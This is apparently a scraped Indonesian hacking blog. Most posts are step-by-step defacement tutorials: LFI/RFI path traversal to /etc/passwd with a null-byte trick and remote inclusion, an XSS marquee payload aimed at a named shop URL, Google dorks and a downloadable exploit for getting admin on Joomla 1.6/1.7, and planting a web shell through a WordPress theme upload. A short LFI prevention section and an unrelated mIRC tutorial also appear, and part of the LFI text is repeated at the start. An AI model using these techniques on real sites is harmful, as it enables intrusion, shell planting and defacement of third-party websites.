allow_url_fopen = off
magic_quotes_gpc = on
3. pada include mungkin bisa ditambahkan "./"
jadinya seperti ini,
maksudnya dengan seperti itu, saat kita mengakses file dari luar server maka hasilnya akan error karena saat pemrosesan setiap file yang masuk ke variable page akan ditambah ./ di depannya.
http://www.[target].com/index.php?imagefile=http://www.[remote].com/evil.txt
dengan seperti ini server atau website yang diinject akan mencari file http://www.[remote].com/evil.txt dan pastinya akan menyebabkan server menampilkan error bahwa tidak ditemukannya file tsb.
Semoga tutor sederhana dan sangat awam ini (Maklum, yg nulis jg msh awam) bermanfaat.
Sumber:IDCA
LFI (Local File Inclusion) adalah sebuah lubang pada site di mana attacker bisa mengakses semua file di dalam server dengan hanya melalui URL.
RFI (Remote File Inclusion) adalah sebuah lubang dimana site mengizinkan attacker meng-include-kan file dari luar server.
Penjelasan
fungsi-fungsi yang dapat menyebabkan LFI/RFI:
Code:
include();
include_once();
require();
require_once();
Dengan syarat pada konfigurasi php di server:
allow_url_include = on
allow_url_fopen = on
magic_quotes_gpc = off
contoh:
misalkan kita punya file index.php dengan content kodenya seperti ini,
Code:
<?php
include "../$_GET[imagefile]";
?>
misal $imagefile=image.php
mungkin di url akan terlihat seperti ini bentuknya
Code:
http://www.[target].com/index.php?imagefile=image.php
nah disini attacker akan dapat melakukan LFI karena variable imagefile di include begitu saja tanpa menggunakan filter.
misalnya attacker ingin mengakses file passwd yang ada pada server, maka dia akan mencoba memasukan seperti ini ../../../../../../../../../etc/passwd << dengan jumlah "../" itu tergantung dari kedalaman folder tempat file index.php tersebut.. dengan begitu isi file passwd akan ditampilkan di browser. kita bisa menggunakan metode menebak struktur folder dalam website target :lol:
tapi seandainya terdapat error seperti di bawah ini:
Warning: main(../../../../../../../../../etc/passwd.php) [function.main]: failed to open stream: No such file or directory in /their/web/root/index.php on line 2
liat pada passwd ternyata dia ditambah dengan extensi ".php" berarti code yang digunakan untuk include adalah seperti ini
Code:
Code:
<?php
include($_GET[imagefile].".php");
?>
nah untuk dapat mengelabui script tersebut kita bisa menggunakan (dengan syarat magic_quotes_gpc = off) jadi dibelakang /etc/passwd kita tambahkan seperti
http://www.[target].com/index.php?imagefile=../../../../../../../../../etc/passwd
lalu untuk apa ? yaitu untuk menghilangkan karakter apapun setelah passwd.
* ini disebut null injection.
Nah kita sudah menemukan bug LFI pada website target, sekarang kita coba cari bug RFI dengan menambahkan link file remote (dari luar website) pada variable imagefile. misalnya:
http://www.[target].com/index.php?imagefile=http://www.[remote].com/evil.txt
dengan file evil.txt misal berisi "hacked by n4is3n"
jika ternyata di browser menampilkan kalimat tersebut berarti website tersebut vulner terhadap bug RFI juga.
Pencegahan
Nah sekarang saatnya untuk pencegahan kedua bug tersebut, yaitu
1. Memvalidasi variable.
2. Mengkonfigurasi kembali settingan php pada server website Anda.
allow_url_include = off
allow_url_fopen = off
magic_quotes_gpc = on
3. pada include mungkin bisa ditambahkan "./"
jadinya seperti ini,
Code:
include("./"$_GET[imagefile].".php");
maksudnya dengan seperti itu, saat kita mengakses file dari luar server maka hasilnya akan error karena saat pemrosesan setiap file yang masuk ke variable page akan ditambah ./ di depannya.
http://www.[target].com/index.php?imagefile=http://www.[remote].com/evil.txt
dengan seperti ini server atau website yang diinject akan mencari file http://www.[remote].com/evil.txt dan pastinya akan menyebabkan server menampilkan error bahwa tidak ditemukannya file tsb.
Semoga tutor sederhana dan sangat awam ini (Maklum, yg nulis jg msh awam) bermanfaat.
Sumber:IDCA
Monday, October 14, 2013
Deface Website dengan Teknik XSS Vulnerability
XSS atau kepanjangan dari Cross Site Scripting
merupakan teknik Hacking Injeksi Code ( Code Injection Attack ), yaitu seorang
attacker menginjeksi atau memasukan kode ke HTML atau JavaScript, DLL
selanjutnya akan di eksekusi oleh client.
Dork: inurl:"/showcatrows.php?CategoryID="
Gunakan dork diatas untuk mencari target di google.
Misal disini kita menemukan target yaitu
http://www.vcm-shop.com/showcatrows.php?CategoryID=12
Maka tambahkan exploit atau scriptnya
"><marquee><h1>Hacked by
d0rkc0d3</h1></marquee> dibelakang URL.
Content by: Muhammad Fuad Fachrudin
Saturday, October 12, 2013
Deface dengan Teknik Exploit Joomla | com_users
Teknik com_users ini prinsip kerjanya adalah
halaman yang digunakan untuk mendaftar sebagai admin pada situs joomla. Bug com_users banyak ditemukan pada joomla versi
1.6 dan 1.7.
Gunakan dork dibawah ini di google.
· inurl:Home Page Beez5 joomla 1.6
index.php/using-joomla/extensions/components/users-component/registration-form
site:br
·
site:com inurl:Home Page Beez joomla 1.6 index.php using-joomla
·
inurl:index.php joomla! 1.7 - open source content management site:
· inurl:index.php/using-joomla/extension/components/content-component/article-category-list/50-upgraders
site:com
·
intext:joomla! 1.7 - open source content management site:jp
·
inurl:index.php/19-sample-data-articles/joomla/50-upgraders site:id
·
inurl:index.php/using-joomla/extensions/templates/beez-2/home-page-beez-2
site:as
·
inurl:index.php/19-sample-data-articles/joomla site:com
Copy dork diatas dan paste di kotak pencarian
di google. Cari targetnya sesuai hasil pencarian.
kita buka halaman administratornya untuk
mengetahui situs tersebut apakah vuln atau tidak.
Kalau 2 garis dibawah situs saling berdekatan
seperti dibawah ini, berarti vuln (memiliki celah com_users)
Sekarang download dulu exploit joomla disini http://www.mediafire.com/view/q1zdfkwlez84qwr/Exploit_Joomla.html
Explot: index.php?option=com_users&view=registration
Seperti dibawah ini site_target.com/ index.php?option=com_users&view=registration
Kemudian akan muncul halaman pendaftaran.
Kebetulan itu website demonya pake bahasa apa ini gak jelas. Hehe, tapi intinya
sama aja.
Setalah muncul halaman pendaftarannya, tekan
CTRL + U.
Selanjutnya tekan CTRL + F (untuk mengaktifkan
fitur find). Kemudian ketik hidden pada kotak pencarian, klik Next.
Maka hasilnya seperti dibawah ini.
Copy token dan urlnya seperti gambar dibawah
ini.
Buka exploit joomla yang kita download tadi.
Klik kanan, kemudian pilih Open With, lalu klik Notepad.
Paste URL dan token dari hasil CTRL + U tadi.
Kemudian save.
Double klik Exploit Joomla.html yang tadi kita
edit. Kemudian terlihat seperti gambar dibawah ini. Edit username, email, dan
password sesuai keinginan kita. Lalu klik Register.
Nanti ada tulisan
“Your account has been created and an
activation link has been sent to the email address you entered. Note that you
must activate the account by clicking on the activation link when you receive
the activation email.”
Sekarang buka email agan dan buka link
konfirmasinya.
Setalah itu login ke halaman administrator tadi.
Maka hasilnya seperti ini.
Content by: Muhammad Fuad Fachrudin
Cara Menanam Shell dan Tebas Index pada Wordpress
Tutorial ini untuk membantu bagi yang
sudah berhasil login sebagai admin pada situs dengan CMS Wordpress untuk
menanam shell kedalam web tersebut dan menebas indexnya.
Pada artikel ini saya buat tutorial upload
shell dengan memanfaatkan fitur upload themes pada wordpress. Dimana ketika
kita memiliki sebuah themes, kita sisipi sebuah shell kemudian diupload ke web
wordpress tadi. Setelah itu shellnya dapat dijalankan J
Oke, pertama silahkan cari themes wordpress
dulu di google ada banyak koq dan gratis juga. Hhehe.
Kedua, siapkan shellnya. Bisa di
download disini http://www.mediafire.com/download/80xv72w32iar15o/madspot.php
Tampilan Dashboard admin pada situs
wordpress.
Misal disini saya pakai themes wordpress
yang namanya “solvair-1.2”. Setelah themesnya di download, sekarang extract
filenya. Caranya, klik kanan kemudian Extract Here.
Mask ke folder hasil extract tadi dan
masukkan shell ke dalam folder images. Seperti gambar dibawah ini.
Sekarang shellnya udah masuk jadi satu
sama themes, sekarang kita kemas lagi jadi satu. Klik kanan folder themesnya,
kemudian klik Add to archive…
Checklist pada menu ZIP, kemudian tekan
OK seperti gambar dibawah ini.
Sekarang masuk ke dashboard wordpress.
Arahkan kursor pada menu Appearance di sebelah kiri, kemudian klik Themes.
Klik menu Install Themes.
Klik menu Upload seperti gambar dibawah
ini.
Klik browse…
Cari themes yang udah disisipi shell
tadi, kemudian klik Open.
Tunggu sampai loading selesai seperti
dibawah ini, kemudian aktifkan themesnya dengan cara klik Active.
Sekarang lihat webnya, themesnya udah
ganti tuh. Sekarang tekan CTRL + U.
Copy ke address bar, kemudian tambahakan
URLnya dengan letak shell tadi di folder images. http://localhost/worpress/wp-content/themes/solvair/images/shell.php
seperti gambar dibawah ini.
Dan sekarang lihat hasilnya :D
Sekarang kita tebas indexnya. Cari file
index.php yang 1 tempat dengan file – file dan folder pada gambar dibawah ini.
(ada wp-admin, wp-content, dll).
Arahkan kursor pada index.php dan klik
icon huruf E di sebelah kiri. E disini berarti Edit.
Ubah scriptnya dengan script deface
agan. Setelah selesai, tekan tombol >> seperti gambar dibawah ini untuk
perintah Save.
Sekarang lihat webnya. Wkwkwk, berhasil
kan J
Ingat: teknik ini hanya dapat dilakukan
ketika kita sudah mengetahui password admin untuk login ke webnya. Untuk mengetahuinya bisa menggunkan teknik config, wp bruteforce, dll.
Content by : Muhammad Fuad Fachrudin
Thursday, October 10, 2013
Chatting dengan mIRC
mIRC adalah
sebuah software yang memiliki fitur Internet Relay Chat yang dapat digunakan
untuk berkomunikasi, berbagi, bermain, atau bekerja dengan orang lain yang
masuk ke dalam jaringan-jaringan IRC di seluruh dunia. mIRC juga dilengkapi dengan berbagai fitur
seperti daftar teman, transfer file, suara yang dapat disesuaikan, pesan suara,
notifikasi, arsip pesan, dan banyak lagi.
Pertama
download dulu softwarenya disini http://files.jalantikus.com/dde/46/2770/mirc732.exe
Jalankan
softwarenya dan ikuti langkah – langkah penginstallan dibawah ini:
Setelah selesai atau Finish, sekarang kita buka mIRC maka akan muncul
mIRC Option seperti di bawah ini. Isi data Nickname, Alternative, Nama, dan
Email, kemudian klik menu Servers.
Disini kita akan memilih server IRC untuk terhubung dengan yang lain.
Disini saya biasanya di server DALnet. Klik folder DALnet, kemudian pilih
Random Server. Lalu klik Select dan terakhir klik OK.
Setelah setting selesai, klik Connect.
Tunggu sampai proses connecting ke server selesai.
Kalau sudah terhubung, maka akan muncul pemberitahuan seperti dibawah
ini.
Kalau sudah terhubung, maka mIRC akan secara otomatis memberi
notifikasi untuk bergabung ke Channel.
Misalnya disini saya akan bergabung atau membuat channel #isc. Caranya
ketik isc di form Channel name, kemudian klik Join.
Maka hasilnya seperti di bawah ini. Jangan lupa ajak teman – teman yang
lain biar ramai ya J
Atau join juga ke channel – channel Indonesia yang ramai. Misal
#Jakarta, #Kebumen, dan lain – lain.
Content by: Muhammad Fuad Fachrudin